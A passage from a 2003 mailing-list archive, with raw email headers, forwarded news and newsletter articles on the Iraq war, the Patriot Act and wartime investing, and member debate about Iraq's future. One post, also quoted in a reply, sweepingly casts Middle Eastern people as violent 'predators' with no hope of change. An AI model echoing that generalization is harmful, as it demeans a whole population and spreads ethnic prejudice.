doubt that sometime in the future we shall experience such emergency measures once again. Therefore, investors should seriously consider diversifying not only their assets, but also how they hold those assets. To hold all of one's assets in one country with just one financial institution may be imprudent in an age of rising risks of international conflicts. Consequently, an investor may want to hold some of his assets in the U.S., but also consider the ownership of assets through a foreign bank or the holding of real estate in a foreign country. Such diversified allocation is an important - if not essential - safeguard against the negative consequences of major conflict. Regards, Marc Faber, for The Daily Reckoning From vortexb-l-request@eskimo.com Thu Apr 10 09:54:42 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id JAA03555; Thu, 10 Apr 2003 09:49:25 -0700 Resent-Date: Thu, 10 Apr 2003 09:49:25 -0700 Message-ID: <01ab01c2ff81$193234e0$37b23b41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Terror Law Made Permanent? Date: Thu, 10 Apr 2003 09:49:02 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id JAA03520 Resent-Message-ID: <"Lzabi1.0.Ut.L2Qb-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1646 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 122 Republicans Want Terror Law Made Permanent By ERIC LICHTBLAU WASHINGTON, April 8 — Working with the Bush administration, Congressional Republicans are maneuvering to make permanent the sweeping antiterrorism powers granted to federal law enforcement agents after the attacks of Sept. 11, 2001, officials said today. The move is likely to touch off strong objections from many Democrats and even some Republicans in Congress who believe that the Patriot Act, as the legislation that grew out of the attacks is known, has already given the government too much power to spy on Americans. Advertisement The landmark legislation expanded the government's power to use eavesdropping, surveillance, access to financial and computer records and other tools to track terrorist suspects. When it passed in October 2001, moderates and civil libertarians in Congress agreed to support it only by making many critical provisions temporary. Those provisions will expire, or "sunset," at the end of 2005 unless Congress re-authorizes them. But Republicans in the Senate in recent days have discussed a proposal, written by Senator Orrin G. Hatch, Republican of Utah, that would repeal the sunset provisions and make the law's new powers permanent, officials said. Republicans may seek to move on the proposal this week by trying to attaching it to another antiterrorism bill that would make it easier for the government to use secret surveillance warrants against "lone wolf" terrorism suspects. Many Democrats have grown increasingly frustrated by what they see as a lack of information from the Justice Department on how its agents are using their newfound powers, and they say they need more time to determine whether agents are abusing those powers. The Senate Democratic leader, Tom Daschle of South Dakota, said today that without extensive review, he "would be very strongly opposed to any repeal" of the 2005 time limit. He predicted that Republicans lacked the votes to repeal the limits. Indeed, Congressional officials and political observers said the debate might force lawmakers to take stock of how far they were willing to sacrifice civil liberties in the name of fighting terrorism. Beryl Howell, a former Democratic aide in the Senate who worked extensively on the 2001 legislation, said that by forcing the issue, Mr. Hatch "is throwing down the gauntlet to people who think the U.S.A. Patriot Act went too far and who want to cut back its powers." Justice Department officials in interviews today credited the Patriot Act with allowing the F.B.I. to move with greater speed and flexibility to disrupt terrorist operations before they occur, and they say they wanted to see the 2005 time limit on the legislation lifted. "The Patriot Act has been an extremely useful tool, a demonstrated success, and we don't want that to expire on us," a senior department official said on condition of anonymity. Another senior official who also demanded anonymity said the department had held discussions with Congressional Republicans about how that might best be accomplished. "Our involvement has really been just keeping an open ear to the issue as it's proceeding, not to really guide the debate," the official said. With the act's provisions not set to expire for more than two and a half years, officials expected that the debate over its future would be many months away. But political jockeying over separate bipartisan legislation sponsored by Senators Jon Kyl, Republican of Arizona, and Charles E. Schumer, Democrat of New York, appears to have given Senator Hatch the chance to move on the issue much earlier than expected. The Kyl-Schumer measure would eliminate the need for federal agents seeking secret surveillance warrants to show that a suspect is affiliated with a foreign power or agent, like a terrorist group. Advocates say the measure would make it easier for agents to go after "lone wolf" terrorists who are not connected to a foreign group and might have allowed the F.B.I. to get a warrant against Zacarias Moussaoui, known as the 20th hijacker, before the Sept. 11 attacks. The proposal was approved unanimously by the Senate Judiciary Committee. But Republicans are upset because several Democrats say that when the measure reaches the Senate floor for a full vote, perhaps this week or later in the month, they plan to offer amendments that would impose tougher restrictions on the use of secret warrants. Among other proposals, Senator Russell D. Feingold, Democrat of Wisconsin, wants to add amendments that would require the Justice Department to give detailed information about how the secret warrants are being used and that could give defense lawyers access to some information generated by the warrants in criminal cases. Republicans are countering with amendments of their own, including the idea of making the Patriot Act permanent. Aides to Senator Hatch would not discuss his views on repealing the time limits in the law. But an aide who demanded anonymity said of the "lone wolf" bill: "We support this bill as it is and that's how we want to see it passed. If the Democrats want to amend the bill, then we will offer an equal number of amendments to improve the bill as well. We hope the Democrats will stop holding this bill up." Members of the Judiciary Committee, which Mr. Hatch leads, have been working in recent days to reach an agreement over the amendments that will be considered, officials said. But so far neither side appears willing to back down. Forum: Join a Discussion on The 108th Congress Doing research? Search the archive for more than 500,000 articles: Expect the World every morning with home delivery of The New York Times newspaper. ---------- http://www.nytimes.com/2003/04/09/international/worldspecial/09TERR.html?ex=10 From vortexb-l-request@eskimo.com Thu Apr 10 10:10:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id KAA13639; Thu, 10 Apr 2003 10:06:44 -0700 Resent-Date: Thu, 10 Apr 2003 10:06:44 -0700 From: "xplorer" To: Subject: RE: Tell us again why you opposed the US in this war! Date: Fri, 11 Apr 2003 00:05:34 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal In-Reply-To: <000d01c2ff6f$bb81e4a0$1202a8c0@WorkGroup> Resent-Message-ID: <"yIIxP.0.2L3.ZIQb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1647 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 123 When they showed the prison, the cameraman's field of view passed over the manual, and a page was momentarily visible. No one mentioned it, and later video cuts seemed to omit what was shown - a page with clearly legible Arabic paragraphs between paragraphs written in French. I assumed someone with a bit of savvy in such matters would have written a news item on this by now. Or, as usual, it's being buried to assist diplomatic efforts. Or what was shown was not actually the manual... It's just a footnote to current events, at any rate. On their chances for a better future: Having worked in that region for a few years, I can tell you now that the chance this area will see peace can best be described as an imaginary number. These people are living proof of that over time, the predator personality is refined in a static environment such as the Middle East provides. The continuing struggle to exist in this arid region has produced a culture of such violence that most Americans will never comprehend. These people have been hunting the weaker elements of their society for several thousand years, and a four week (or one year, for that matter...) effort is not going to have any real effect on their culture. After all is said and done, and all the uniforms go home, they will go back to killing and torturing each other all over again. That's what they do. It's not as if they are inherently evil, it is simply a matter of geography and history. No science programs, no great medical efforts, no star sports figures, no hallowed halls of education - just over and over again the strong ripping off the less fortunate down into the sands of time. I remember sitting in the desert during afternoon tea one day, watching the labour - they weren't so much interested in breaking bread or enjoying a tea break for the tea - they were too busy trying out some new ammo they had bought in town for their AK-47's. There is no hope for those living in the Middle East. None whatsoever, outside of moving away to greener pastures in places where violence is not a way of life. > -----Original Message----- > From: Dave N. [mailto:dnarby@PunkAss.com] > Sent: Thursday, 2003 April 10 12:56 > To: vortexb-l@eskimo.com > Subject: Re: Tell us again why you opposed the US in this war! > > > Hey X, > > | No one seems to have picked up on the fact that the > | manual for interogation (Psychology of Interrogation) > | was written in French with arabic translation... > | > > What?! Where did you read that? > > > | > No one knows yet whether the new Iraq will be the kind of place where > | > children can grow up free of the fear, the horror of torture. > | > | Probably not, if history is any kind of a guide... > > Well, they stand a better chance without Sodamn Insane, that's > for sure - *And* if we do the > right thing by the Iraqis. Those people have been screwed over > by the west time and time again. > We owe them big time. > > Best, > > Dave > > > From vortexb-l-request@eskimo.com Thu Apr 10 11:30:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA30809; Thu, 10 Apr 2003 11:22:01 -0700 Resent-Date: Thu, 10 Apr 2003 11:22:01 -0700 Message-ID: <019901c2ff8d$eb70b920$1202a8c0@WorkGroup> From: "Dave N." To: References: <018701c2ff7f$e481b370$37b23b41@annamort> Subject: Re: The reality of war Date: Thu, 10 Apr 2003 14:17:14 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"-Ig54.0.8X7.8PRb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1648 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 124 Bla bla bla bla... I vote we go after this whack job next: http://www.heraldsun.news.com.au/common/story_page/0,5478,6206548%5E663,00.html Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Anna M*" To: "MetaExistence" Sent: Thursday, April 10, 2003 12:40 PM Subject: The reality of war | The Reality Of War | | The Daily Reckoning | | Rome, Italy | | Thursday, 10 April 2003 | | --------------------- | | *** Subjugating the desert tribes - will it bring | prosperity? The stock market doesn't seem to think so... | | | --------------------- | | The modern-day Parthians, Medes, Seleucians and other rag- | tag tribes of Mesopotamia have been nearly subdued. Today's | imperial army is master of Baghdad, just as Emperor Trajan | was 1900 years ago, and Alexander the Great several hundred | years earlier. | | Mommsen's history tells us that Trajan, like Bush, faced | resistance that was incompetent and disorganized. | | But the Parthians were treacherous and untrustworthy - even | in their enslaved state. Just when the future seemed to be | going as planned...and Trajan's expectations were at their | bubble peak...the gods had plans of their own... | | "This moment, when Trajan seemed to have achieved all he | had set out to do and stood at the peak of his power," | Mommsen explains, "was seized on by all the recently | subjugated nations to throw off their allegiance..." | | Trajan himself was almost killed...and died not long | after... | | "...leaving his plans cut off in mid-execution," Mommsen | continues. "Nevertheless, they cannot be accorded much | chance of survival; there was a great deal of vain glory in | them, and the entire enterprise is not to be taken | seriously." | | We have come to Rome...and are sinking deep into the ruins | of it. Our apartment overlooks the Capitoline on one side | and unidentified old stones and bricks on the other. No | empire was ever as long-lived...as grandiose...or as | absurdly extravagant as the Roman example. None ever took | on so many potential terrorists in so many different | areas...and brought most of them to heel. | | What can be learned from her? Probably nothing. But here we | give readers fair warning: that won't stop us from reciting | various passages as if they were important. | | And now what? Have the problems that bedeviled the U.S. | economy been blown away by the same Abrams tanks and B1 | bombers that liberated Baghdad? Do consumers now have less | debt...or more money to spend? Will corporate profits | rise...and businesses begin hiring again? | | Investors had great expectations. But yesterday's market | suggested that the victory on the Tigris may be a bit of a | let-down. Stocks fell, the dollar fell, while gold rose | $3.30. Gold is what people buy when their expectations turn | a little less great. Over the next few years - as we keep | saying - it would not surprise us if they bought even more | of it. | | Over to Eric in New York: | | ----------- | | Eric Fry, reporting from Wall Street... | | - The stock market keeled over yesterday like a Saddam | Hussein statue. The Dow toppled 101 points to 8,198 and the | Nasdaq collapsed 26 to 1,357. Meanwhile, caution re- | emerged, as bonds, gold and oil all rallied. | | - "Traders are hoping that as the statue of Saddam Hussein | comes down, the green arrows will go up," yelped a hyper- | excited Maria Bartiromo yesterday on CNBC's morning | broadcast. Maria was referring to a live TV shot of a | couple hundred "Baghdadians" toppling one of the couple | thousand statues of Saddam Hussein that dot the Iraqi | landscape. The statue's collapse triggered a brisk 90-point | Dow rally. But the exuberance quickly faded, and the green | arrows that Bartiromo had breathlessly anticipated turned a | brilliant shade of red. | | - "At some point, and this moment may already be upon us," | Ken Brown wrote prophetically in Wednesday morning's Wall | Street Journal, "a TV image of soldiers blowing up a statue | of Saddam Hussein will no longer set off a 100-point stock- | market rally. Instead those annoying little details such as | corporate earnings, growth prospects and valuation will | reclaim their hold on the market." That dreaded moment | seems to have arrived, as the growth-challenged US economy | regains its stranglehold around the throat of the stock | market, finger by finger. | | - Now that the "shock and awe" phase of the Iraqi war is | drawing to a close, investors must acclimate themselves to | the somewhat less exhilarating "occupy and reconstruct" | phase. We doubt that this latter phase will get the bullish | juices flowing on Wall Street. Nor can investors expect too | many thrills back on the home front, as the post-bubble | economy continues muddling through its "scrimp and save" | phase. | | - But what about all of the "sideline" cash that has been | piling up in money market funds for the last few months? | Won't that rescue the stock market? According to the | Investment Company Institute, fund managers have access to | some $110 billion of cash sitting in stock mutual funds, | and are ready to marshal these reserves at a moment's | notice and charge into the stock market to secure the Dow | Jones Industrial Average for the bulls. Furthermore, some | $2.2 trillion is parked in money market funds. | | - Some market observers point to these billions (and | trillions) of dollars sitting in bond funds and money | market funds and say, "Aha! Look at all that cash that | could storm into the stock market!" We look at that same | pile of cash sitting in bond funds and say, "Wow! Look at | all the cash that could flee the bond market!" Sure, the | money MIGHT go into the stock market. But first, it would | DEFINITELY come out of the bond market. In other words, not | every bond fund seller will rush to buy 100 shares of Cisco | Systems. Some might, instead, pay their taxes or buy | groceries. | | - Who knows? Some bond fund sellers might even use the | proceeds to make a down payment on a house...thereby | swapping out of the bond bubble and into the housing | bubble, if we may label either market a "bubble". Let's | consult the experts: Alan Greenspan is no help whatsoever. | By his own admission, the Chairman could not spot a bubble, | even if it landed on his morning newspaper. By contrast, | the International Monetary Fund claims a sort of | clairvoyant vision. The august global financial body | believes it sees a housing bubble in the making, and isn't | afraid to say so. | | - "Housing booms such as those in the US and the UK over | the past decade are frequently followed by crashes," the | Financial Times reports. "Ken Rogoff, the [IMF's] chief | economist, warned that the long boom in house prices - up | 28 percent in the US since 1996, and 70 per cent in the UK | since 1994, adjusted for inflation - put them in danger | territory. 'Forty percent of all housing booms are followed | by busts, with housing price drops that typically average | 25-30 per cent,' Mr. Rogoff said." | | - Why worry? According to Rogoff's statistics, 60% of | housing booms are NOT followed by busts...Sleep tight! | | ----------- | | Bill Bonner, back in Rome... | | *** Our old friend, Rick Ackerman, shares a letter from a | reader: | | "There may be deflation in hard assets, but my auto | insurance just went up 20%, my medical insurance just went | up 18%, my homeowners insurance just went up 20%. Gasoline | in my area is selling at $2.20 to $2.75 per gallon. The | price of food items appears to be coming down in price - | until you start to read the per ounce or other unit prices | and find that actually, prices are rising. Yes, the price | of computers is falling. There is the fool's belief that | there is zero financing for autos, but in fact you are | prepaying the interest if you take the deal. Cash or other | financing gives you thousands off of the sticker price. | Nobody is giving anything away. You may claim deflation, I | claim a rising cost of living. What interests me is not | what the numbers are manipulated to imply, but what it | actually costs me to live from day to day. That is what I | call inflation." | | Yes, Rick comments, but what is really happening is that | the consumers' cost-of-living is rising at a time when he | can least afford it - when he is carrying more debt than | ever before. When he gets a $30,000 college tuition bill, | he can't pay it without either refinancing his house - | which increases his debt load - or selling assets. Or going | broke. Either way, the effect might be a debt implosion, | not inflation: | | "For example, take college tuitions and healthcare costs, | which have been rising so steeply that, for most | households, these necessities have recently come to exceed | the limit of affordability. How could we not view surging | healthcare bills and tuition costs as inflationary? Well, | for those who remember the 1970s, the salient | characteristic of inflation was that rising costs could be | - and mostly were - readily passed through the system. This | is no longer true, however, nor has it been true for more | than a decade. For many businesses in the U.S., especially | those involved in manufacturing, rising costs cannot be | passed so easily on to the consumer; instead, they are | ultimately charged against profits. As should be clear in | this still-deepening recession, falling profits are | deflationary to the extent they lead to lower employment as | well as to lower stock market valuations." | | [Editor's Note: For more on the inflation/deflation debate, | see Dr. Hans Sennholz' article: "The Perils of Deflation"] | http://www.dailyreckoning.com/body_headline.cfm?id=3084 | | http://www.agora-inc.com/reports/FST/SeeMoreNow/ | | --------------------- | | The Daily Reckoning PRESENTS: As the international | geopolitical scene grows ever more tense, what are the | foreseeable long-term repercussions? Taking a peek at | tomorrow's headlines, Dr. Marc Faber admits that "the | financial markets and financial intermediaries seem to me | to be particularly vulnerable"... | | | THE REALITY OF WAR | by Marc Faber | | There is an important point investors should be aware of, | which may have been overlooked during the peaceful and | financial bubble years of the 1990s: wartimes are common in | the history of the world; it is times of peace that are the | exception. According to the historian Will Durant, war is | one of the constants of history, and has not diminished | with civilization or democracy. In the last 3,421 years of | recorded history, only 268 have seen no war. | | Just look at the period between 1895 and 1918. During this | brief span of years, there were continuous conflicts around | the world, including the Russo-Japanese War (1895), the war | between Turkey and Greece over Crete (1897), the Spanish- | American War of 1898, the Anglo-Boer War of 1899-1902, the | military expeditions of the great powers in China in 1900, | the Russo-Japanese War (1904-1905), the Russian Revolution | of 1905, the Turkish Revolution of 1908, the French | military expedition in Morocco (1907), the military | conflict between Italy and Turkey over Tripoli (1911), the | First Balkan War (1912), the Second Balkan War (1913), the | Chinese Revolution of 1911, the First World War (1914- | 1918), the February Revolution in Russia (1917), the | October Revolution and the Russian Civil War (1917-1921). | | According to Durant, the causes of war are the same as the | causes of competition among individuals: acquisitiveness, | pugnacity, and pride; the desire for food, land, materials, | fuels, and mastery. The state has our instincts without our | restraints. The individual submits to restraints laid upon | him by morals and laws, and agrees to replace combat with | conference, because the state guarantees him basic | protection in his life, property, and legal rights. The | state itself acknowledges no substantial restraints, either | because it is strong enough to defy any interference with | its will, or because there is no super-state to offer basic | protection, and no international law or moral code wielding | effective force. | | As to the causes of the Iraq war, I leave them to the | reader to ponder. | | I am not necessarily suggesting that the next 20 years will | be as turbulent as the first 20 years of the 20th century. | But we must realize that the late 1980s and 1990s were | extremely unusual from a historical point of view, since, | aside from some minor conflicts, there were no major wars | or revolutions. So, purely from a probability point of | view, investors should not expect the relatively peaceful | time that has followed the Korean War, and especially the | peace dividend we have enjoyed over the last 15 years or | so, to continue forever. | | The peace dividend that followed the end of the cold war | was certainly a contributing factor to higher stock | valuations around the world (declining interest rates and | rising profits aside). If the world is now moving into an | era of increased tensions, then this will be an additional | negative factor for equity valuations. Moreover, during the | relatively peaceful 50 years that followed the Second World | War, trade as a percentage of GDP increased rapidly and | peace allowed a truly global capital market to be created, | both of which factors were favorable for economic | development around the world. As a percentage of the | world's GDP, trade increased from around 5% in the 1950s to | over 20% at present. | | Moreover, since the creation of a truly global capital | market in the late 1980s, international capital flows | financed the investment boom in the emerging economies in | the early 1990s, and have in the last few years financed | the excessive consumption in the U.S., which is reflected | by the growing American current account deficit. | | If we assume, therefore, that rising global trade and an | increase in global financial flows had something to do with | peace around the world in the 1990s, we should also assume | that in the case of increased geopolitical tensions and, | especially, a major conflict, there could be some | interruption in these favorable trade and financial trends. | In the worst case, severe geopolitical tensions could lead | to an interruption of free trade or of international | financial flows and bring about supply shortages, trade | embargos or outright trade wars, the imposition of foreign | exchange controls, and even the freezing of assets held by | foreigners or, in an extreme case, their outright | expropriation. | | In short, the financial markets and financial | intermediaries seem to me to be particularly vulnerable, | since they have become so disproportionately large in | comparison to the real economy. One point is clear to me. | In the next major conflict in the world, the derivatives | market is most likely to cease to exist, since financial | institutions throughout the world hold derivative | positions. Therefore, if one major player somewhere in the | world doesn't settle or fails altogether, a vicious chain | reaction could follow, with the result that the markets | will be closed. | | It is not my intention to sound alarmist, but I think that | investors who grew up during the last 50 years have no idea | of what unpleasant financial and economic consequences | might result from a major conflict. Throughout history, | asset freezes, the imposition of foreign exchange controls, | and expropriations have been very common, and I have no | doubt that sometime in the future we shall experience such | emergency measures once again. Therefore, investors should | seriously consider diversifying not only their assets, but | also how they hold those assets. | | To hold all of one's assets in one country with just one | financial institution may be imprudent in an age of rising | risks of international conflicts. Consequently, an investor | may want to hold some of his assets in the U.S., but also | consider the ownership of assets through a foreign bank or | the holding of real estate in a foreign country. | | Such diversified allocation is an important - if not | essential - safeguard against the negative consequences of | major conflict. | | | Regards, | | | Marc Faber, | for The Daily Reckoning | | | | From vortexb-l-request@eskimo.com Thu Apr 10 12:17:51 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA28358; Thu, 10 Apr 2003 12:13:51 -0700 Resent-Date: Thu, 10 Apr 2003 12:13:51 -0700 Message-ID: <030101c2ff95$3e47ad50$37b23b41@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: War view drew US threats: Malaysia Date: Thu, 10 Apr 2003 12:13:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id MAA28325 Resent-Message-ID: <"-Ti2c1.0._w6.k9Sb-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1649 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 125 War view drew US threats: Malaysia April 11 2003 By Jasbant Singh Kuala Lumpur The US Government last month threatened Malaysia with diplomatic and economic reprisals for seemingly "fanning anti-American sentiment" with its staunch opposition to the war in Iraq, senior Malaysian Government officials said yesterday. But Washington decided against such action after Malaysia's acting Prime Minister Abdullah Ahmad Badawi assured a US diplomat that the South-East Asian nation was not a foe of the US. A US State Department official last month warned Malaysia's ambassador in Washington that it might pull its ambassador out of Kuala Lumpur, urge American businesses to leave Malaysia and discourage further investments in the Muslim-majority country of 24 million people. Mr Abdullah, who is standing in for Prime Minister Mahathir Mohamad while he is on a two-month holiday, subsequently met US ambassador to Malaysia Marie Huhtala and assured her that "Malaysia's anti-war stance should not be seen as being anti-US". "The tense situation has somewhat abated," the official said. "Abdullah made it clear that the Malaysian Government's disagreement with the US Administration is confined to the war in Iraq and should not be taken out of context." Another official said Washington had accepted the explanation and "it appears that they (the US Government) are not going to pursue the matter". Frank Whitaker, a spokesman for the US embassy in Kuala Lumpur, confirmed that Mr Abdullah met Ms Huhtala on March 22, but denied that there had been any threats against Malaysia. "The meeting emphasised that the United States and Malaysia have a strong relationship and that relationship remains a high priority for both governments," Mr Whitaker said. "It is ridiculous to suggest that the US had threatened any retaliation against Malaysia." But other diplomatic sources said the US Government had been upset with Dr Mahathir's unstinting criticism of US policy towards Iraq, less than a year after the Malaysian leader met US President George Bush at the White House and was hailed as an ally in the global fight against terrorism. Dr Mahathir, who has led Malaysia since 1981, said last month that Washington had acted like a coward and bully in invading Iraq. He said that the US and its allies were targeting Islamic countries and that Iran, Sudan and Libya could be next. In February, Dr Mahathir said in a speech to leaders of mostly developing countries at the 116-nation Non-Aligned Movement summit in Kuala Lumpur that the US drive against terrorism and Iraq had become a campaign to dominate non-white nations. The US State Department summoned Malaysia's envoy in Washington several times after the summit, apparently concerned over Malaysia's increasing influence. Malaysia is chairman of the Non-Aligned Movement. - AP From vortexb-l-request@eskimo.com Thu Apr 10 12:22:29 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA30962; Thu, 10 Apr 2003 12:18:23 -0700 Resent-Date: Thu, 10 Apr 2003 12:18:23 -0700 Message-ID: <019a01c2ff8d$ebc4a580$1202a8c0@WorkGroup> From: "Dave N." To: Subject: For once, I'm speechless. Mark it on you calendar. Date: Thu, 10 Apr 2003 14:18:01 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"ptt4U3.0.bZ7._DSb-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1650 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 126 http://www.firstgenetics.com/index.html From vortexb-l-request@eskimo.com Sat Apr 12 17:08:45 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id RAA25376; Sat, 12 Apr 2003 17:05:24 -0700 Resent-Date: Sat, 12 Apr 2003 17:05:24 -0700 Message-ID: <025c01c30150$54f59d20$1202a8c0@WorkGroup> From: "Dave N." To: References: Subject: Re: Tell us again why you opposed the US in this war! Date: Sat, 12 Apr 2003 20:04:43 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"HBBDJ1.0.QC6.3dAc-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1651 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 127 X, Well, I don't mean to merely play Devil's advocate here, but I can conceive that an imbedded cameraman and reporter, after having hauled ass for 21 days, enduring lack of sleep, food, dust and the stress of being shot at might miss the fine points of what was printed on a manual. And it very well might take a very astute observer to eventually notice it on the tape... A friend of mine who's involved in movies says very few people can read fast enough to catch titles on books, words on the page etc. (that's why directors usually hold the camera on printed words like that for a long time). Also, if it wasn't one of those 24hr cable news outlets, it's not unusual for a network to run something just once However... It's also possible that if the reporters were unsympathetic to the US they might very well want to gloss over French complicity in Saddam's regime... Or what you proposed below. We'll have to wait and see. I'm actually optimistic about there being a possibility for true liberation in Iraq, here's why: Iraq is one of the most modern Arabic nations, and one of the most proud. A large portion of their pride comes from Iraq being the cradle of civilization. Attaching a good portion of your self identity to such an idea makes it more difficult to act outside that idea e.g. if your nation is the birthplace of civilization, then you must be civilized (and are encouraged to act accordingly). Couple a strong sense of nationalism to this and it's even more intense. I would also disagree with you about Iraq not having the trappings of a modern nation - they are one of the most educated nations in the Middle East. It's just they haven't been able to express that in their country because of the oppression of Saddam. Also, one of the first things I do when I get a new firearm or some special ammo is to go pop off a few rounds with it. So don't necessarily think that because you like to shoot your inherently barbaric. ; ) Again, time will tell. Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "xplorer" To: Sent: Thursday, April 10, 2003 1:05 PM Subject: RE: Tell us again why you opposed the US in this war! | | When they showed the prison, | the cameraman's field of view passed over the manual, | and a page was momentarily visible. | No one mentioned it, and later video cuts seemed to omit | what was shown - a page with clearly legible Arabic paragraphs | between paragraphs written in French. | I assumed someone with a bit of savvy in such matters | would have written a news item on this by now. | Or, as usual, it's being buried to assist diplomatic efforts. | Or what was shown was not actually the manual... | It's just a footnote to current events, at any rate. | | On their chances for a better future: | Having worked in that region for a few years, | I can tell you now that the chance this area will see peace | can best be described as an imaginary number. | These people are living proof of that over time, | the predator personality is refined in a static environment | such as the Middle East provides. | The continuing struggle to exist in this arid region | has produced a culture of such violence | that most Americans will never comprehend. | These people have been hunting the weaker elements | of their society for several thousand years, | and a four week (or one year, for that matter...) effort | is not going to have any real effect on their culture. | After all is said and done, and all the uniforms go home, | they will go back to killing and torturing each other | all over again. That's what they do. | It's not as if they are inherently evil, | it is simply a matter of geography and history. | No science programs, no great medical efforts, | no star sports figures, no hallowed halls of education - | just over and over again the strong ripping off the less fortunate | down into the sands of time. | I remember sitting in the desert during afternoon tea one day, | watching the labour - they weren't so much interested in breaking bread | or enjoying a tea break for the tea - they were too busy | trying out some new ammo they had bought in town for their AK-47's. | | There is no hope for those living in the Middle East. | None whatsoever, outside of moving away to greener pastures | in places where violence is not a way of life. | | | > -----Original Message----- | > From: Dave N. [mailto:dnarby@PunkAss.com] | > Sent: Thursday, 2003 April 10 12:56 | > To: vortexb-l@eskimo.com | > Subject: Re: Tell us again why you opposed the US in this war! | > | > | > Hey X, | > | > | No one seems to have picked up on the fact that the | > | manual for interogation (Psychology of Interrogation) | > | was written in French with arabic translation... | > | | > | > What?! Where did you read that? | > | > | > | > No one knows yet whether the new Iraq will be the kind of place where | > | > children can grow up free of the fear, the horror of torture. | > | | > | Probably not, if history is any kind of a guide... | > | > Well, they stand a better chance without Sodamn Insane, that's | > for sure - *And* if we do the | > right thing by the Iraqis. Those people have been screwed over | > by the west time and time again. | > We owe them big time. | > | > Best, | > | > Dave | > | > | > | From vortexb-l-request@eskimo.com Sun Apr 13 03:18:46 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA11361; Sun, 13 Apr 2003 03:16:00 -0700 Resent-Date: Sun, 13 Apr 2003 03:16:00 -0700 Message-ID: <032301c301a5$7f4ed410$60c19d40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: Crime Against Humanity Date: Sun, 13 Apr 2003 03:14:35 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit 